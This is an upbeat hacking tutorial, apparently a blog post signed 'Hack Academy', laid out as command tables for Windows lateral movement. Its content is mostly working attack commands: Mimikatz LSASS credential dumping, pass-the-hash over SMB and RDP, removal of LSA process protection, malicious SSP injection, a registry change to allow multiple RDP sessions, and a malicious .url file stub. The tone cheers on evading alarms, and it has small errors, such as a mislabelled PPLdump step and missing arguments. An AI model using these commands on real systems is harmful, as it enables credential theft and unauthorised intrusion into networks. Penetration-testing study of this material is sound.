

LATERAL MOVEMENT: THE ART OF REMOTE HACKING

Welcome to the world of lateral movement! Whether you're a seasoned hacker or just starting, this guide will help you master the art of moving through networks like a pro. From PowerShell Remoting to using Mimikatz for credential dumping, we'll break it down into bite-sized, fun, and practical sections. By the end of this, you'll be able to execute commands remotely, bypass LSA protections, and even execute RDP tricks—sounds like fun, right?

PowerShell Remoting

PowerShell Remoting is one of the most powerful ways to interact with remote systems. Let's start by enabling remoting and running commands remotely!

Enabling PowerShell Remoting (Admin Access Needed)

ACTION	COMMAND
Enable PowerShell Remoting	Enable-PSRemoting

Enabling remoting allows you to control a machine from afar—like a digital puppet master.

Starting or Entering a New PSSession (Admin Access Needed)

ACTION	COMMAND
Start a new session	<code>\$sess = New-PSSession -ComputerName</code>
Enter the session	<code>Enter-PSSession -ComputerName</code> OR <code>Enter-PSSession -Sessions</code>

This is where the magic happens—start a session and jump into the remote machine like a boss!



Remote Code Execution with PowerShell Credentials

Got credentials? You can execute commands remotely using PowerShell, and we'll show you how.

Setting Up Credentials and Running Commands

ACTION	COMMAND
Set up a secure password	<code>\$SecPassword = ConvertTo-SecureString '' -AsPlainText -Force</code>
Create credentials	<code>\$Cred = New-Object System.Management.Automation.PSCredential('htb.local\'', \$SecPassword)</code>
Execute a command remotely	<code>Invoke-Command -ComputerName -Credential \$Cred -ScriptBlock {whoami}</code>

This is your secret sauce for running commands remotely on a machine, all with the right credentials.

Importing PowerShell Modules and Executing Remotely

Want to import a PowerShell module and execute functions remotely? We've got you covered!

Execute Commands and Start a Remote Session

ACTION	COMMAND
Execute remote script	<code>Invoke-Command -Credential \$cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session \$sess</code>
Interact with the session	<code>Enter-PSSession -Session \$sess</code>

Now, you can execute a script remotely and even interact with it in real-time—like you're sitting at the remote machine!

Executing Remote Stateful Commands

Stateful commands keep track of the session, which is perfect for executing multiple commands or keeping a persistent connection.

Create a New Session and Run Commands

ACTION	COMMAND
Create a session	<code>\$sess = New-PSSession -ComputerName</code>

ACTION	COMMAND
Run command on the session	Invoke-Command -Session \$sess -ScriptBlock {\$ps = Get-Process}
Confirm the session's output	Invoke-Command -Session \$sess -ScriptBlock {\$ps}

Once you've established a session, you can start interacting with the target system—like playing a game of chess with your commands.

Mimikatz: The Credential Dumper Extraordinaire

Mimikatz is your go-to tool for credential extraction. It's your Swiss Army knife for hacking credentials and making lateral movement a breeze.

Dumping LSASS (Local Security Authority Subsystem Service)

ACTION	COMMAND
Dump LSASS	mimikatz privilege::debug
Elevate token	mimikatz token::elevate
Dump logon passwords	mimikatz sekurlsa::logonpasswords

With Mimikatz, dumping credentials becomes a smooth operation. You can extract passwords, hashes, and more from LSASS.

Pass the Hash

Mimikatz allows you to "pass the hash," a method where you impersonate a user without needing their plaintext password.

ACTION	COMMAND
Pass the hash	mimikatz sekurlsa::pth /user: /ntlm: /domain:

This allows you to move across systems while impersonating users—no password required! 😊

Bypassing LSA Protection

LSA (Local Security Authority) protects critical system processes, but we've got methods to bypass it!

Kernel Land Bypass (When LSA Runs as a Protected Process)

ACTION	COMMAND
Check if LSA is protected	<code>reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa</code>
Upload mimidriver.sys	<code>mimikatz # !+</code>
Remove LSA protection flags	<code>mimikatz # !processprotect /process:lsass.exe /remove</code>

Bypass LSA protection and continue your journey of lateral movement. Hack the process without triggering alarms!

Fileless Bypass Using PPLdump

ACTION	COMMAND
Check for LSALSO process	<code>tasklist findstr lsaiso</code>
Inject malicious SSP	<code>mimikatz # misc::memssp</code>

Inject a malicious security support provider (SSP) to monitor and log credentials in real-time. It's like having a spy inside the system! ♂

Remote Desktop Protocol (RDP)

Ready to use RDP for lateral movement? Let's dive into how you can pass the hash with RDP!

Passing the Hash via RDP (RestrictedAdmin Mode)

ACTION	COMMAND
Pass the hash with RDP	<code>privilege::debug`sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"</code>

Bypass password authentication and directly access the remote machine. Restricted Admin mode makes it happen!

BYPASS SINGLE SESSION PER USER RESTRICTION

ACTION	COMMAND
Add registry key to bypass	REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0

This lets you bypass RDP's restriction on single-user sessions. Now, multiple users can be active simultaneously.

URL File Attacks

Need to sneak in a quick payload? Here's how you can use .url and .scf files to attack unsuspecting victims.

.url File Attack

ACTION	COMMAND
Craft a malicious URL file	[InternetShortcut] URL=file:///payload

Useful Tools for Lateral Movement

TOOL	PURPOSE
Powercat	Netcat alternative written in PowerShell
SCShell	Fileless lateral movement tool
Evil-Winrm	Ultimate WinRM shell for pentesting
RunasCs	C# open version of Windows runas.exe

These tools are your best friends for efficient and stealthy lateral movement. Use them wisely!

By Hack Academy

That's it for today, folks! You've learned everything you need to know to master lateral movement, from PowerShell remoting to credential dumping and beyond. Now get out there and use these skills (ethically, of course)! Stay tuned for more epic hacking tutorials and guides. Keep hacking, and remember—nothing beats the thrill of a successful pen test!

Stay curious and keep learning!

- Hack Academy